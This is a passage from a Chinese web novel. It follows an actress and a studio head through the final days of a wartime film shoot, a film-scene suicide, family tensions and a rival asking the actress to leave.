陆嵬心底名为嫉妒的情绪在不停冒泡。 车上常备的有电解质水,黎数开了一瓶,兑了些热水,放在了陆嵬面前:“喝一点水。” 陆嵬情绪大起大落,这会有点怏怏的,满脑子都是‘谋杀机器人’,呆呆的看了眼黎数,没接。 黎数把杯沿轻轻在她唇上触了触,陆嵬这才反应过来,接过抿了几口。 车队还在向前行走,底盘很稳定,速度也均匀,几乎察觉不出什么晃动。 黎数借着天光看向陆嵬。 陆嵬的家庭背景关系实在是太复杂,最常用的‘重组家庭’这四个字都无法一语囊括在内。 陆茂是她的生父,可却有一个比陆嵬要大了七八岁的私生子。 秦子帆是她的生母,却在陆嵬十八岁的时候和顾宗年成为了夫妻。 之后,又以‘愧疚’为由,用了黎数不知道的手段,逼着陆嵬交出了她自己的心血,去补偿给了陆茂。 黎数记得陆嵬数次提起家人的时候,唯一一个算是比较亲密的称呼是‘外婆’。 刚刚她也提到,外婆前些年身体不好,常年在疗养院。 黎数便问道:“你外婆的身体现在怎么样了?” 陆嵬望了黎数一眼,想了想要怎么措辞。 黎数刚刚的话她全都听进去了。 于是陆嵬想了想,说道:“术后的预后情况算是不错,已经达到了临床治愈的程度,长期有效控制的话,不会太影响生存期。” 黎数呼吸倏的一停,犹豫了下还是问:“是生了什么病吗?” 陆嵬看得出黎数问的小心翼翼,有种生怕越界问多的模样。 陆嵬的心脏像是一块被拧紧的抹布,被绞紧,收缩,酸痛难当,最后却只是点了点头,带着鼻音的语气说:“白血病,” 她目光极其隐蔽的划过陆嵬的手腕。 她还戴着那条有点脱皮的表带,表带不算宽,但刚好可以遮住那条疤痕。 黎数只觉得万幸,还好陆嵬的外婆痊愈了。 没再就这个话题继续下去,黎数也没提拜访的事情,身份也时机都不合适,也说不出口。 “把眼睛敷一下吧。”黎数说:“应该快到地方了。” 陆嵬喝了几口就没再喝了,情绪经过比较大的起伏后,她这会反而有些迟钝,几乎是黎数说一句,她动一下。 她的眼睛有点红肿,自己都能感受到的灼热赤痛。 黎数用毛巾裹了冰块,陆嵬一手按着,一手却挽着她的胳膊,不肯让她离开。 陆嵬说:“你别走,我没安全感,我现在敷着冰,看不到东西我害怕。” 黎数嘴上答应:“好。” 心里觉得陆嵬这两年变化实在是有点太大。 两年前出事之前,她变得越来越沉默寡言,两人见面的时间也越来越少。 两年后刚重逢的时候,一开始见面明明还勉强能沾上高贵冷艳这四个字的边,也还能有一点两年前沉默寡言的影子。 现在…… 陆嵬脸上的泪痕都还没干,呼吸的间隙还会短暂的抽噎一下,偶尔将冰包拿起来,偷偷看一眼黎数,又继续遮住。 黎数懒洋洋的靠在椅背,心想,变的爱哭了,也变得爱撒娇了- 最 眼前接近。 ,烽烟滚滚,街道破旧残败,偶尔有几只满身黑灰的猫狗从缝隙钻进钻出,是景,黎数认出了里面有一只,两年没见,它居然还在。 且看这体重,还圆润了一大圈,看样喝。 黎数拍拍陆嵬的手臂,说:“到地方了。” 陆嵬这才放开了冰包,闭眼了太久,有点睁不开眼睛面对强光,就半眯着眼睛,挽着黎数的手臂,不撒手了。 黎数就牵着她,两人一前一后的一起下车。 夏天日落的晚,已经六点多了,但天色还很亮,天地一片灿金,天边的火烧云正旺。 黎数左右看了看,“到棚子底下待会吧。” 剧组在这边搭的有棚子,上面盖了几层遮阳伞,牵过来了不少根电源线,几个硕大的风扇转着脑袋送风。 陆嵬‘嗯’了声,脸色恢复如常,除了牵着黎数不撒开的手,和刚刚在车上的好像*完全是两个人。 黎数狐疑的回头看了一眼。 陆嵬的眼睛已经睁开了,没料到黎数突然回头,做贼心虚的吓一跳,眼睛‘唰’一下又闭上。 陆嵬又结结巴巴欲盖弥彰的补了一句:“好亮啊。” 拉着黎数的手一紧,又说了一句:“真刺眼啊。” 黎数轻笑两声,没跟她计较:“闭着眼休息会吧,我不松开你。” 刚刚敷过眼睛,陆嵬睫毛上都是水痕,比哭过还像是哭过。 黎数伸手在她眼睛上轻轻刮了一下,伸手给她抹了掉,说:“以前没发现你这么爱哭。” 陆嵬眼皮抖了几下,硬撑着没睁开眼,但说话的底气不足,小声说:“我也没哭几次。” 掐指一数倒是也不算多,只是比起陆嵬前些年的经历来说,勉强能算是比较集中。 黎数糊弄小孩儿似的轻轻‘嗯’了一声,牵着陆嵬的手,任由她假模假式的用另外一只手挡着眼,把她带到了棚子底下- 她们俩下车后不久,521顶着满身泥巴糊的包,也下车了,四处给陆嵬造谣添堵。 它走到哪广播到哪,找它相熟的姐姐妹妹们哭诉:“陆嵬打我,她打我呀姐姐!” 惹得一帮小姑娘老姐妹笑的花枝乱颤,往他身上的包上再添几道杂草做出来的伤痕。 元宝稳稳的端坐钓鱼台,愈发圆润的小脸用着睥睨天下的气势,随着521的游走去巡视自己从没来过的新型领地。 费鹤鸣拿着剧本走过来的时候,陆嵬还在那闭眼参禅。 她在陆嵬面前站半天,问黎数:“这是闹哪出啊?” 黎数尽可能给陆嵬在外面想留点面子,但一时间也找不到什么好借口,只能说:“她眼睛不太舒服。” 哭过的痕迹这会也只能看到一丁点了,费鹤鸣没点破,用手上的剧本打了一下陆嵬的腿,说:“行了,睁眼吧。” 陆嵬这次是真的试了一会才勉强把眼睛睁开,脸很臭,“干什么?” 费鹤鸣忍住想用剧本给她脑袋一下子的冲动,忍着气说:“讲剧本。” 正事。 陆嵬这才‘哦’了声,坐直了点。 黎数不动声色的把和她牵在一起的手松开了。 手上一空,但陆嵬没说什么,只默默地把手攥着,珍惜那点余温,把手藏进了口袋里。 这边正说着,那边突然过来了个工作人员,冲着费鹤鸣耳语了两句。 费鹤鸣一脑袋官司的抬起头,问了句:“他什么时候来的?” “来了有一会了。”工作人员说:“说是不想兴师动众,只带了一些学生在不远处观摩学习,这会看见陆总和小黎姐了,想过来打个招呼,免得待会开拍了耽误事。” 费鹤鸣脸色不太好,骂了句:“早该死的老王八。” 黎数听她话音不对,陆嵬先说了一句,“谁?” 工作人员听见费鹤鸣骂人就是一脑袋的汗,也不知道在这杵着会不会被殃及池鱼,闻言赶忙说了句:“顾导,顾宗年。” 费鹤鸣厌烦的表情未收,黎数面带疑惑,陆嵬却是几个人中最镇定的一个。 费鹤鸣冷着脸,说:“马上就开拍了,要么让他等着,要么让他走。” 工作人员也只是传话,爆什么粗口都显得没必要。 闻言他应了声,快步跑走了。 费鹤鸣看了眼陆嵬,影子在地面上拉出了浓黑的一条弧度,却转头冲黎数说了句,“小黎,你先——” “她不用走。”陆嵬打断费鹤鸣的话,说:“没什么不能告诉她的。” 费鹤鸣一阵的诧异,但也没多问什么。 本来陆嵬和黎数之间的关系就暧昧,之前的热搜和花边新闻她也不是没看到过,只是没上心,也没在意罢了。 闻言她就直说:“我还当他这次突然回申海真是单纯为了选地方做寿,碍着面子跟他比划太极似的陪了两场饭,现在才明白,他一开始就是冲你来的。” 陆嵬短促的笑了声,“这可不一定。” 两人打哑谜似的说了两句话,黎数听懂了,但并不知道这两句话背后的逻辑。 不远处乌泱泱的来了一堆人,凉棚下的人群自动清了场。 叫不上名字的边缘工作人员自发离开,只留了各部门都彼此熟识、也都能说的上话的负责人。 以顾宗年为首,那群人自发落座,除了几个看上去像是带队老师的人,其余人年纪都不大,脸上全都写满了天真。 黎数环视了一圈,那边费鹤鸣和顾宗年、以及几个电影学院的老师在交流。 她忽然笑着说:“我当时遇见你的时候,你和这群小孩子都差不多大。” 陆嵬扫了眼,不肯承认:“我哪有他们那么幼稚。” 黎数不置可否的挑眉,语带戏谑:“是吗?那你跟我讲讲,十八岁装是二十岁,是该算幼稚还是算成熟?” 陆嵬脸一红,但黎数此刻平和的态度和刚刚在车上的拥抱,以及才刚刚分开了不久的手给了她勇气。 陆嵬不管不顾,脸颊上氤出一团可疑的粉,说:“算是我喜欢你,对你一见钟情,怕你因为我年纪小就拒绝我。” 黎数微微笑了笑,不着痕迹的转移话题,“他是冲着我来的?” 这像是无声的拒绝。 陆嵬抿唇。 黎数可以给她拥抱,可以和她开玩笑,帮她抹去眼泪,这是因为黎数本来就很好很温柔。 陆嵬也不气馁,她做好了长期准备,不可能因为这三言两句的无视击败。 闻言便说:“从他的角度来说,这次过来,应该是想考察你的演技够不够格。” 黎数挑眉。 陆嵬看了黎数一眼,忽然之间转过头,说:“这个片子,费导打算报名,说不定你一出道就可以拿到一个金狮奖最佳女配角。” 黎数心里一跳。 陆嵬趁机握着她的手,声音放的低,像哄人,又像是承诺:“你相信我好不好?我这次一定可以给你更多好的剧本和奖项。” 黎数没推开她的手。 顾宗年叼着一根烟回来,和费鹤鸣短暂的聊完后,回身时眯了眯眼睛。 ——这是一副绝妙的构图。 不是绝美,而是绝妙。 卡在了日光和遮阳棚的明暗交接线上,日光偏斜,黎数的身体大半都沐浴在阳光下,而陆嵬则藏在阴影里。 身为替身的绯闻小情人坐在了较高的位置,垂着头,神色不明,一手只随意的放在腿上。 而身为上位者的陆嵬则是在下方,像是一个信徒般虔诚的抬头仰望,双手握着黎数的一只手,神色写着恳求和祈祷,似乎想要神明的垂怜。 这场面大大超出了两个导演的预料。 导演都有镜头嗅觉,费鹤鸣先前就觉得不对劲,现在觉得更不对劲。 但不等她说什么,顾宗年吐出一口烟,轻轻眯起了眼睛,三两步走过去,随意找了个凳子,坐好以后说:“费导说这场是你们的杀青戏,看来我来的很巧,刚好赶上了。” 说罢,顾宗年将目光转向了黎数,说:“小姑娘,来,站起来让我看看。” 黎数平静的看了他一眼,安抚性的拍了拍陆嵬的手,真就站了起来,并且按照所有面试的流程一样转了一个圈。 脸蛋、身材、比例,顾宗年看的专注,眼神中不含一丝杂念,看完以后,还笑着和不远处的学生们说:“看到了吗?小黎就是一个很专业的演员,身材保持的匀称但不瘦削,也尊重这个行业,没有整过容。” 那边的学生们大都低头应是,顾宗年笑笑,手上的烟灰弹落,意有所指的说:“之前都是匆匆一面,人多,也没好好看过你。这么一看,确实是好看,你这张脸,怪不得小嵬喜欢。” 黎数看了陆嵬一眼。 她仍然坐在刚刚的椅子上,只是目光一直是在追着自己的。 顾宗年抢走了陆嵬剧本的事情在她心里扎了刺,生了根,黎数没法再像是从前一样尊敬顾宗年,闻言也只是笑了笑,不发一言。 她自顾自的坐下了,顾宗年居然也没生气,说:“《国家秘宝》这个片子我很看好,说不定费导这次又能连斩好几个奖项了。” 费鹤鸣露出个场面的笑。 顾宗年笑着说:“就是看你后面肯不肯割爱,这么好的演员,可不能藏着一个人独占啊,现在这市场,好演员可太稀缺了。” 前方执行导演过来,说是一切协调完毕了。 顾宗年体谅的笑,“我带着这群孩子们远程观摩,你们自便。” 说着,他真就带着那群人离开了棚下,自己找了个不碍事的地方。 黎数和陆嵬没再回头- 一阵热风拂过,玩够了的521师傅顶着满脑子假汗送过来了三杯冷饮,又忙忙碌碌的去准备晚饭去了。 费鹤鸣畅快的喝了一口,说:“你这小机器人多少钱?怪好使呢你别说。” 陆嵬看了她一眼说:“寰宇百分之三的永久股份。” 费鹤鸣瞪大眼,“抢银行啊!一个破机器人!” 她又羡慕的看了眼521忙忙叨叨遛猫的背影,收收心,说:“继续刚刚的话题吧。” 费鹤鸣说:“你被左碧君打晕,醒来的时候,天已经快黑了,一切都成为了定局。” “你的年龄比左碧君小一些,可在这段感情上,从来都是你占据了主导性的地位,这是你第一次在这段感情里觉得力不从心,无能为力。” 黎数云淡风轻的看了陆嵬一眼。 陆嵬努力缩成一团,专注的看地上的蚂蚁洞。 费鹤鸣没管她俩之间的风起云涌。 “担忧与现实在你的大脑互相博弈,你不愿走,但也知道,以你一个人的力量,不光救不了她,甚至可能白白丧命,又或是被抓住,受尽屈辱与折磨。这样一来,那份花费了无数战士、战友的心血掩护起的‘秘宝’,就此付之一炬,你意识到,你只能走。” 黎数点点头。 场记已经随时待命,开始拍摄。 场记示意一切准备完毕,可以开始拍摄,黎数的状态几乎已肉眼可见的速度就变了。 没有人知道她是怎么调整的,只是那一瞬间,费鹤鸣看着监视器里的人,冲着身边的陆嵬说:“她看起来像是真被挚爱这么关过。” 陆嵬睫毛剧烈的煽动了一下。 费鹤鸣又接着说:“我把小霜锁起来不让她网恋的时候,估计小霜也是这模样。” 陆嵬无语的看了她一眼,又把嘴闭上了。 “你瞧瞧,平静、愤怒、挣扎、再到平静、开始复盘、到懊恼,最后一切归于平静。” 短短几分钟的时间内,费鹤鸣几乎惊叹于黎数的表演艺术,近景往前一推,那是任谁看到都会说一句‘震撼’的情绪。 陆嵬专注地看着。 她不知道镜头里的黎数和两年前被她关在仓库的黎数是不是差不多同样的心境,同样的折磨,同样的无力的哭泣过。 场景切换,一行人浩浩荡荡的出发前往码头。 白玫最终登上了那艘满载着高官、军阀的游轮,于一片灿烂的云霞中驶离码头,回首望向残败不堪的城市时,她的满眼写满了遗憾和担忧。 短短两秒,她的情绪尽收,最终定格在了一往无前的坚毅,微笑着离开护栏,摇曳着身姿,不紧不慢的回到了船舱,继续起由左碧君交给她的使命。 那一份秘宝将同她一起,重见天光。 情绪被推到了最高点,一场戏顺利拍摄结束,黎数的戏份到这里全部杀青。 如释重负般,游轮从远及近重新回到码头,船上的群众、特邀们陆陆续续开始下船,换下一场的戏服。 紧赶慢赶的,费鹤鸣催着赶紧换场地。 时间到了晚上十点。 虫鸣声响起,码头灯火通明,更远的外围在围观的游客也少了好几拨。 黎数答应了陆嵬在现场看,就没食言,旁边点了盘蚊香,费鹤鸣借着黎数的光,蹭了521半天的空调,周遭起码半米的位置都是凉飕飕的。 在做最后的准备阶段,陆嵬后面这场水下戏极多。 “秘宝”的秘密被日军发现,港口被包围,左碧君被全城市通缉,唯一的一座客轮怕被殃及,慌忙的离开港口。 费鹤鸣目光沉沉的看她:“这段你真要全程陪看?” 黎数‘嗯’了声,“答应了陆嵬的。” 注意到了黎数称呼上的变化,费鹤鸣挑挑眉毛,问她:“她为什么一定要你全程在?” 还没开拍,监视器里的陆嵬浑身裹满密封膜,阻挡水汽的同时也是为了保暖,在做下水前的最后准备。 黎数反问:“我也不知道。可能有些事情不能通过语言,不能通过文字,需要用别的方式告诉我吧。” 手上的耳机在指尖转了转,费鹤鸣余光看到了沈凝雪过来,她没打招呼,只点了点旁边的椅子,示意沈凝雪坐下。 沈凝雪笑了笑,和黎数一左一右坐在了费鹤鸣两边,找了个联排耳机插上,贴在耳边试了试音。 521见她过来,很谄媚的从黎数腿边离开,过去贴了贴沈凝雪的腿,“姐姐姐姐你来啦。” 沈凝雪轻轻‘嗯’了声,摸了摸521的脑袋。 521摸够了,又笑着快乐的回到了黎数身边。 黎数神色不动,相隔不远,和沈凝雪对视了一眼。 片刻过后,黎数看到了沈凝雪眼底复杂的许多未尽的情绪,她像是想说什么,又没说出口。 费鹤鸣说:“怎么突然过来了,你不是在B组吗?” 沈凝雪脸上的表情不算轻松,是藏不住的疲惫,临近最后,她的戏份也多,十点多了,身上甚至还穿着戏服,满身满脸的血浆和尘土泥泞。 她往顾宗年待的小饭馆望了一眼,收回视线时,不经意间在黎数身上扫了一眼,才低声说:“我刚看到小嵬改过的剧本,不放心,想过来看看。” 费鹤鸣正提着这事儿呢。 闻言她说:“这不巧了吗?正说着这场杀青戏的事儿呢,那小崽子非要死要活的让小黎在这看,三两分钟就得过来巡查一圈,看看小黎走没走。” 费鹤鸣轻笑:“生怕人跑了似的,鹰都没她难熬。” “这会你也过来了。”费鹤鸣手上的纸一弹,并不算多的文字在上面展现,过了会,她说:“这场戏有什么特殊的地方,得让你俩都在这守着她一个人?” 第60章 第六十章【VIP】 听到费鹤鸣这一句话,沈凝雪一下愣住了。 这会监视器旁边只有她们三个人,外加一个机器人,和一只黑猫。 费鹤鸣在这里理所当然也在意料之中,但元宝和521在这里,就显得有那么点不伦不类了。 正说着,陆嵬的目光又往这里扫了一下。 沈凝雪注意到,即便在这么远的距离根本看不到,但黎数向陆嵬露出了个很轻的笑,安抚意味很浓。 手上刚刚被她看过的剧本这一路已经被捏的皱皱巴巴,目光落在了最后一段词上: “砰!一声巨响过后,大门前炮竹齐放,新娘起轿,童子吹笛,一路敲锣打鼓,喜气洋洋。万象更新,历史将迈向新的起点。” 她抿抿唇,回刚刚费鹤鸣问她的话,“她第一次正式拍这么大场面的戏,我过来看看。” 费鹤鸣不解,闻言又觉得好笑:“你就是平时太护着,她自己拍都拍过好几部戏了,那时候肩上的担子可比现在大的多。” 她没细究,心知不管是黎数还是沈凝雪,今天齐坐在这里,怕是都有藏着掖着的话,不能对她这个老婆子讲。 费鹤鸣耸耸肩,莫名生出一种‘女大不由娘’的感觉- 521很谄媚的贴紧黎数的腿,腿脚固定在那不动,身体左右画着圈扭来扭去,模样很像是个冲父母撒娇要糖吃的小孩子。 “小黎,主人。”521的声音夹起来,每一个字的尾音都拖得长长的,“今晚我们是不是就可以回家了呀,我们回家以后,你可不可以跟陆嵬说说,以后我想跟你一起睡,我想和你住在同一个房间。我愿意睡在角落里,我也愿意睡在床底,我想和你在一起。” 黎数想了想,跟521讲:“今晚杀青后应该来不及回去了,还要收拾行李,我们明天才出发。” 521关注点很清奇:“那我们明天回家以后是不是还很早?那是不是就有时间可以把我的休眠舱搬到你房间了呀!” 这个倒是可以,黎数点头。 但考虑到521充电以及升级、调试、联网的复杂性,还是补充了一句说:“如果转移位置不麻烦的话。” “不麻烦不麻烦。”521目的达成,转着圈开始给黎数捏腿捶腰。 小机器人的手指攥成拳以后,控制着力道、在穴位上轻轻敲打的感觉确实是很舒服,黎数眯了眯眼睛,表情放松了很多。 521一会问‘舒服吗主人?’,一会问一句‘我是不是天下第一好?’过几秒又絮絮叨叨的说‘你是不是最喜欢我?’。 得到被肯定的回答后,就会兴高采烈的在屏幕上放一会烟花。 沈凝雪将这一切尽收眼底,不着痕迹的皱了皱眉,捏紧了手里的剧本,最后,又将目光投向了黎数的脸上。 旁边有人看着自己,黎数不可能察觉不到。 但她不知道该怎么面对沈凝雪——或者说,是不知道该以什么样的身份,也不知道该怎么展开话题,更不知道该聊什么。 电影里,甚至她和沈凝雪都没有对手戏,是两条完全不沾边,但在同时进行的线。 连戏都没什么好聊得。 黎数随手从草地上摘了根草,随便捋了两下,塞嘴里,有一下没一下的叼着咬- 陆嵬那边一切准备就绪,费鹤鸣喊了开始,这场戏没有失误的机会,必须一次过。 遗留在当地的战友们将白玫送上了游轮,与匆匆脱身赶来的左碧君在码头会合。 其中一个娃娃脸,年岁不过只有十四五的小战士说:“瑰宝已平安。” 另外一个剃了寸头,脸上抹了脏灰,嘴唇白的起皮,却有一双眼睛黝黑闪亮的小战士也嫩生嫩气的说:“等待下一步指示。” 比不上平度号游轮的华丽、规整,客轮上人头涌动,人人手中都提着方方正正的行李箱,甲板上挤满了试图浑水摸鱼、偷渡上客轮的人。 三个人站的不远不近,彼此能听到对方口中的话,却不会引人怀疑。 左碧君从皮箱里拿出了两张船票,这是刚刚用了十根金条换来的。 她将船票不着痕迹的分发下去,擦肩而过的瞬间,低声说:“我记得你们的名字,好好活下去,期待与你们再次相见。” 她没有上船,沿着人头攒恐慌的岸边走了一节。 有人同样逆着人流而上,在她身 盛夏,夜晚,漆黑一片。 走到一个人群涌动的地点时,行李扔到与她反方向的河里,自己则纵身一跃。 身后跟着她的日|本士|兵发出几句咒骂呵斥,附近群众惊叫散开,十余把手|枪对准了湖面开始射|击,几息过后,水面才彻底恢复平静。 士兵头行李箱,里面只有一张被油纸包着的信。 【倭畜罪行滔天,永不磨灭,我军战士为国征战,虽死无悔,自有后来人前赴后继,抗争到底。】 【卫我中华者虽死犹生,犯我中华者虽远必诛。】 汽笛长鸣声中,日军首领发出愤怒嘶吼,客轮缓缓离港。 一个边陲小村码头旁,左碧君攀上岸边,久候许久的老船夫应声上前接应。 摇摇晃晃中,左碧君乔装完毕,同这座飘摇的小船一起,驶向北方。 背景中,日军无差别轰炸的声音响彻天地,阵阵火光冲天,声声轰响雷鸣。 开始切换场景拍摄,由室外转移到了室内。 黎数从头看到尾,时间已经到了零点整。 文戏、水戏,陆嵬身上几次湿透后不等吹干就又换上了新一套的衣服继续下水,两个小时后,这场戏终于拍摄完毕。 换场的地点就在古镇附近的一个拍摄景点内,棚内场景已经全部搭好,大灯模拟天光,这一场B组和C组都在同时拍摄,整个室内被烤的像是汗蒸房,几乎喘不上气。 费鹤鸣从进来开始,情绪就没有刚刚室外那么放松了。 她的眉心皱成一个‘川’字,中间数次和沈凝雪低声交谈,似乎有些明白了,为什么沈凝雪今晚一定要执意在这- 黎数一进棚就看到了在正堂上的那副黑沉的棺材,已经被封了棺,一丝缝隙都没有留。 这是一个很有历史底蕴的小院子,也是黎数和陆嵬初见时,经过了那条长而静谧的走廊后,第一场试戏的正厅。 她还没来过这个拍摄场地,四处打量了一会,看到了不少陆嵬的合成黑白照片。 照片上只有陆嵬和一个瘦瘦小小的老人,黎数猜测着应该是陆嵬在戏里的长辈,可能也就是棺材里那位的身份。 因为一切早就在一行人到来前做好了准备,很快就各就各位,机器架在角落里,道具铺设完毕,费鹤鸣喊了开始。 左碧君从门外走进来,肩背紧绷着,随着每一次的呼吸而颤抖。 往日外祖还在时,这个院落里,每天都热闹非凡。 人走茶凉,关门下灯。 这位在申海、乃至国际联盟中都享有声誉的老人死后也仅仅是一副棺木加身,盖了盖,封了土,守灵的都只剩下一个同样年迈的管家阿婆。 黎数看着陆嵬默不作声的跪在了棺木前的蒲团上,眼圈通红,却已经麻木到没有任何表情了。 她嘴唇张合了几次,才终于成功发出声音,问身后跟她一起回来的人。 “外祖什么时候去世的?” “三日前。” “因为什么?” “急火攻心,猝然离世。” “她一向平和,怎会突然急火攻心?” 身后沉默了良久,终于一声长叹,说:“三日前由瀚海市前往申海的平度号游轮因超载、夜晚未开航行灯的缘故与同航线的远游号客轮相撞后沉船,船上共计一千五百人,全部遇难。” “左太太收到电报时就日日期盼你回来,她以为你就在那艘船上,收到即将抵达的消息时,她就在码头,翘首以盼。” “左太太偶尔看到到达港口的客轮、货轮,总会上前,一个个的找人去问,问有没有见到你。” “可三日后,随着水面飘来的,只有破损的船板,和漂浮在船板上,已经臭了、肿了的尸体。” “左太太偶尔清醒,第一句问的总是“你有没有见过她”,命人打捞三日,却始终没有您的音讯。” 老人上前一步,在左碧君肩头轻拍,低声说:“她当时最后说了一句‘连最后一面看不到’就闭上了眼。左太太去的快,死前并未遭受多大痛苦。” 左碧君眼皮通红,“她遭到的最大的痛苦,是我的死讯,和连尸体都见不到一面的折磨。” 身后的人久久无言。 左碧君垂下头,捡起身旁的黄纸,眼泪啪嗒、啪嗒的落在了纸面上。 撕拉。 她分开一张,放进盆里点燃,又问管家要了一个新的盆,要了一块新的无字牌位。 管家问她要做什么。 左碧默默地流着泪,“有人代我上了船……不,有人被我逼上了船,她被我逼死了。” 管家不语,将牌位和盆子准备好,又将采买的备用的黄纸、挽联一起拿出,放在了另一边。 然而仅仅只刻下了一条位于上方的一撇,管家猜不出那是什么字。 白?爱?皇?又或是别的什么。 最后寥寥两字落成,管家认出那是‘白玫’二字。 不像是正经人家的名字,前后也没有亲属关系,也没有代称词汇。 “家产就依据外祖母生前的遗愿,都捐了吧。”左碧君垂眸。 身后的人忍不住说:“不多给自己留些傍身钱?” 左碧君沉沉摇头。 她最后说:“劳烦,给我准备笔墨。” 该烧的全都烧完,左碧君摇摇晃晃的站起,嘴唇脸色全都惨白,拿着那厚厚的一沓纸,回了自己房间。 这一夜,黑夜如同最完美的牢笼,将左碧君关在其中。 房间内灯火燃了整夜,手边的书稿厚厚一叠。 外面天光渐渐升起,左碧君的目光沉静似海,偶尔停笔回想,不过一两秒的功夫,就继续书写起那份已经写了足有数千字的纸稿和图稿。 终于书写完毕,她将笔墨收回、搁置,仔仔细细将书写过的内容检查一遍,确认无误后,将其收拢整齐,放置在了最醒目的地方。 一切回归于沉静,黎明初升,四下沉寂。 无亲人、无挚友,无挚爱,无念想。 左碧君的目光定格在了一个虚无的落点上。 眼前闪过了一幕幕画面。 她初到瀚海市时,性格古板守旧,勉强接受了包裹程度最高包裹的皮鞋。 白玫笑着嗔她,自身后将她环抱起,给她画最时兴的眉形,夸她好看,说她有这样一双过目不忘的明媚双眼,不该在眉毛上蒙尘。 与白玫度过的第一夜,她笨拙、害羞、时时泪盈于眼,白玫笑着吻她,教她女人就该取悦自己,教她如何享受,如何挣脱教条束缚,如何打破腐朽陈规。 最后又定格在了与白玫的最后一面。 甚至来不及多说一句,白玫那么期待的转身,毫不设防的将背后露在她眼下,掌下的脖颈如此之细弱,她利用了白玫的信任,逼她前往那艘以为是生路的死船。 最后生死相隔,阴阳离散。 一张张、一幕幕,旧事轮转,如老电影般不断闪回。 左碧君不敢闭上眼,每一次睁眼的瞬间,都似乎看到白玫那双晶莹的泪眼,问她:“你为什么要逼迫我,你为什么要害死我。” 画面一转,她又忽然想起,白玫抱着她,将她一切情绪全盘照收,对她说:“不是你的错,你只是喜欢我。” 眼泪终于盈满了眼眶。 屋外忽然响起了阵阵喜乐,她想起昨日回来时,曾听到有人说娶新娘,办亲事,要驱逐往日阴霾,同新婚妻子一起迎接崭新的年代。 最终,她神色平静,透过窗户,看到了外面红纸飘散,开始升起的袅袅炊烟。 砰,一声枪响。 屋外的人们吓了一跳,稚嫩的孩童嘻嘻哈哈的扔着鞭炮。 “一群小鬼头!” “也不知哪一颗炮仗这么响的动静,可别把新娘子也吓一跳!” 随后,大门前炮竹齐放,新娘起轿,童子吹笛,一路敲锣打鼓,喜气洋洋。 万象更新,历史将迈向新的起点。 费鹤鸣喊了卡,黎数久久没能回神。 现场的一切似乎都静止了。 不远处,陆嵬还倒在左碧君‘死去’的地上,血浆流了满地,枪口直接洞穿太阳穴,伤口做的逼真,周遭都是红黑的血肉。 许是气氛影响,现场所有的人都埋在一种前所未有的低气压里,不少人围着陆嵬,但没人上前拉她。 费鹤鸣目光沉沉,让人收好那份陆嵬亲笔写下的近万字的内容。 又向所有人吩咐:“让她自己缓缓。” 521和元宝都不敢吱声,缩在角落里面当鹌鹑蛋,互相帮忙堵着彼此的嘴巴。 黎数有点喘不上来气,被元宝温热的小手牵着,起身悄然无声的离开了拍摄间。 走出了一段路后,黎数看到了自己的房车。 房车在她的名下,驾驶者常年都是521。 圆头圆脑的机器人顺着坡缓缓往上爬,快要进门的时候,忽然脑袋一转,向着黎数身后望去,兴高采烈的说:“姐姐你来啦!” 黎数回过头。 夜深人静,景区附近常年灯火通明,树荫花丛遮蔽下,沈凝雪不紧不慢的走过来,手里燃烧着的一根烟忽明忽灭。 她是第一次知道,沈凝雪居然会抽烟。 印象里,沈凝雪似乎和这些被称之为‘陋习’和‘坏毛病’的事情都完全没有关系才对。 黎数静静地看着她走近,双眼没有什么波澜,不管多大的情绪都被她藏在表面之下。 相顾片刻,沈凝雪先开了口,低声说:“521,先上车,不准偷听,不准录像。” 521眨眨眼,“不行,我不听你说的话,我听小黎的,我听我主人的话。” 沈凝雪咬了咬烟蒂,目光轻飘飘的落到黎数身上。 黎数这才开了口,说:“521,按她说的做。” “好叭。”521噘嘴,撅着屁股爬上了车。 不录像,不偷听,但没说不能扒着玻璃看。 一只猫两只眼,带上一个机器人一共四只眼,齐刷刷的光明正大的阳奉阴违,扒在玻璃上看的很香。 “聊聊。”沈凝雪低声说:“小嵬给你开了什么价码让你跟在她身边?” 黎数不知道她来的用意,只听也知道来者不善,便随意说:“全奖大满贯,电影随便挑,财产全归我,只爱我一个。” 沈凝雪皱了皱眉,“我没有跟你开玩笑。” 黎数笑了笑,双手插在口袋里,“我也没有跟你开玩笑。我听说521的身价就占了寰宇股票的百分之三,她连521都给我了,还有什么不能给我的?” 沈凝雪冷下脸:“比起这些虚无缥缈的,我可以立刻给你你能拿到手的。电影、股票、产权,你想要什么都可以开。521再值钱也是个认主的死物件,不能变卖也不变更所有人。你可以开个条件,在我力所能及的范围以内,我都会满足你,现在,立刻。” 黎数凝视着沈凝雪,忽然笑了声:“你为什么要让我离开她?你又是以什么身份来要求我的?” “这不重要。”沈凝雪沉声说:“我一开始以为陆嵬只是想找个慰藉,事实上从你出现以后,她也的确开心了很多,最近的变化更明显,会闹,会笑,会耍小脾气了。” 黎数说:“这不是好事吗?难不成陆总以前不会闹不会笑?她那时候才多大?” 沈凝雪的双眼没有一丝温度,这一刻她和荧幕、现实中的她似乎完全是两个人:“这两年来,她会笑,但不会闹,也不会哭,不会生气,只是一个知道要有最基*础的‘表现’的木偶娃娃。” “黎数,你是个演员,甚至是一个好演员,你应该能懂,最基础,最表象化的情绪是可以被伪装出来的的,人是不是真的调动了情绪,是不是发自内心的喜怒哀乐,是能被看出来的。” 黎数站在那没动,轻轻的皱了皱眉。 沈凝雪静了静,继续说:“但事情超出我意料之外太多。你对她的影响一开始固然是好的,我也没打算插手太多,她毕竟是个成年人。但现在你对她的影响太大了,这对她来说不是好事,为了她,也为了你,我希望你能离开她。” 不等黎数说话,沈凝雪深呼了一口气,嗓音居然带了些颤抖的说:“就当是我求你,高抬贵手放她一马,再这样下去,总有一天陆嵬会死的。” “我看得出你对她不是没有感情,你也不是不知道自己只是前人的一个‘替身’,你和寰宇签约的合同我看过,你想要的,我一样能给你,及时抽身,对你和对她都好。” “你自己也清楚,再继续这么下去,真的到了不可挽回的那一天,你未必真能全身而退。两败俱伤的结果你们两个未必都能承受得起,你也不希望和陆嵬真的闹到决裂的那一步吧?你扪心自问,你这样的性格,真的甘心一辈子只当一个别人的替身吗?陆嵬分不清楚,你一个健康的正常人,你也分不清吗?!” 黎数将手从口袋里抽了出来。 连拍了一天的戏,现在甚至天边都快亮了。 这种状态下和沈凝雪出现这样的对话,其实对彼此来说都不是什么好事。 情绪容易冲动,大脑也容易不理智。 只是黎数有太多自己想问的东西了。 “你既然连替身和合同的事情都知道了,那看来你和陆嵬的关系真的非常非常近。”黎数按了按眼皮,想起陆嵬手腕的疤,想起今晚陆嵬杀青前的最后一场戏。 